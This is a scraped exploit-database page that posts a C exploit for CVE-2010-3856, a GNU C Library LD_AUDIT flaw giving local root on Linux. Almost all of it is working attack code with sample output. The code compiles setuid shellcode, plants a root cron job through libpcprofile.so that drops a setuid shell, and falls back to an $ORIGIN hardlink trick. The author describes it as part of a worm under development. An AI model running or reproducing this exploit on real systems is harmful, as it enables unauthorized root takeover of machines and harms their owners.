Home / os / win7

[local exploits] - GNU C Library local root (uid=0,gid=0) Ex

Posted on 04 December 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>GNU C Library local root (uid=0,gid=0) Exploit | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='GNU C Library local root (uid=0,gid=0) Exploit by devilzc0de in local exploits | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>============================================== GNU C Library local root (uid=0,gid=0) Exploit ============================================== GNU C Library local root (uid=0,gid=0) exploit bug found by tavis ormandy exploit code by devilzc0de software url: http://www.gnu.org/software/libc/ Category: local tested on sh-3.2# cat /etc/issue Debian GNU/Linux 5.0 l [code] /** #Exploit Title: GNU C Library local root (uid=0,gid=0) exploit #date: 04-12-10 #author: devilzc0de #bugs found by: Tavis Ormandy (taviso@sdf.lonestar.org) # Tested on: Debian GNU/Linux 5.0 #CVE: 2010-3856 #vulnerable : GNU C library a basic exploit made by: devilzc0de (www.devilzc0de.org) special thanks to all devilzc0de crews and members, glodhaxors crews and members tis is part of my worm (currently making dual os worm for 7 months) mywisdom@DL:~/sploit$ id uid=1002(mywisdom) gid=1001(mywisdom) groups=1001(mywisdom) mywisdom@DL:~/sploit$ ./glibc GLIBC local privilege escalation exploit Bugs found by Tavis Ormandy made by: devilzc0de.org ERROR: ld.so: object &#039;libpcprofile.so&#039; cannot be loaded as audit interface: undefined symbol: la_version; ignored. Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline] [-p pattern] [-s packetsize] [-t ttl] [-I interface or address] [-M mtu discovery hint] [-S sndbuf] [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination [+]waiting for dropped suid shell from our cron daemon, please wait ... sh-3.2# id uid=0(root) gid=0(root) groups=1001(mywisdom) sh-3.2# **/ #include &lt;string.h&gt; #include &lt;sys/types.h&gt; #include &lt;stdio.h&gt; #include &lt;sys/stat.h&gt; #include &lt;stdlib.h&gt; #include &lt;unistd.h&gt; void salam() { printf(&quot; GLIBC local privilege escalation exploit &quot;); printf(&quot; Bugs found by Tavis Ormandy &quot;); printf(&quot; made by: devilzc0de.org &quot;); } void eksplo1() { int i; struct stat bufer; umask(0); bikin_payload1(); popen(&quot;dpkg -S /lib/libpcprofile.so&quot;,&quot;r&quot;); if(stat(&quot;/lib/libpcprofile.so&quot;,&amp;bufer)!=0) { eksplo2(); } else { popen(&quot;LD_AUDIT=&#039;libpcprofile.so&#039; PCPROFILE_OUTPUT=&#039;/etc/cron.d/w00t&#039; ping&quot;,&quot;r&quot;); } if(stat(&quot;/etc/cron.d/w00t&quot;,&amp;bufer)!=0) { eksplo2(); } else { if(stat(&quot;/tmp/suidshell&quot;,&amp;bufer)!=0) { exit(1); } else { popen(&quot;echo &#039;* * * * * root cp /bin/dash /tmp/gotroot; chmod u+s /tmp/gotroot &#039; &gt; /etc/cron.d/w00t&quot;, &quot;r&quot;); } printf(&quot;[+]waiting for dropped suid shell from our cron daemon, please wait ... &quot;); usleep(60000000); system(&quot;/tmp/./gotroot -c /tmp/./suidshell&quot;); } } int bikin_payload1() { FILE *fp2; const char *str2 =&quot;char shellcode[] =&quot;x6ax17x58x31xdbxcdx80x6ax2ex58x53xcdx80x31xd2x6ax0bx58x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1xcdx80&quot;;int main(){int (*f)() = (int(*)())shellcode;f();}&quot;; fp2 = fopen(&quot;suid.c&quot;, &quot;w&quot;); fwrite(str2, 1, strlen(str2), fp2); fclose(fp2); popen(&quot;gcc -o /tmp/suidshell suid.c&quot;,&quot;r&quot;); } int bikin_payload2() { FILE *fp; const char *str =&quot;void __attribute__((constructor)) init(){ setuid(0);system(&quot;/bin/bash&quot;);}&quot;; fp = fopen(&quot;payload.c&quot;, &quot;w&quot;); fwrite(str, 1, strlen(str), fp); fclose(fp); popen(&quot;gcc -w -fPIC -shared -o /tmp/exploit payload.c&quot;,&quot;r&quot;); } void il_fil_de() { struct stat buf; if(stat(&quot;payload.c&quot;,&amp;buf)==0) { remove(&quot;payload.c&quot;); } if(stat(&quot;suid.c&quot;,&amp;buf)==0) { remove(&quot;suid.c&quot;); } if(stat(&quot;/tmp/exploit&quot;,&amp;buf)==0) { remove(&quot;/tmp/exploit&quot;); } } int eksplo2() { remove(&quot;/tmp/exploit&quot;); popen(&quot;mkdir /tmp/exploit;ln /bin/ping /tmp/exploit/target&quot;,&quot;r&quot;); popen(&quot;exec 3&lt; /tmp/exploit/target&quot;,&quot;r&quot;); remove(&quot;/tmp/exploit&quot;); bikin_payload2(); popen(&quot;LD_AUDIT=&quot;\$ORIGIN&quot; exec /proc/self/fd/3&quot;,&quot;r&quot;); } int main(int argc,char **argv[]) { struct stat buf; salam(); il_fil_de(); mkdir(&quot;/tmp/exploit&quot;,0777); if(stat(&quot;/etc/cron.d&quot;,&amp;buf)!=0) { eksplo2(); } else { eksplo1(); } } [/code] # <a href='http://1337db.com/'>1337db.com</a> [2010-12-04]</pre></body></html>

 

TOP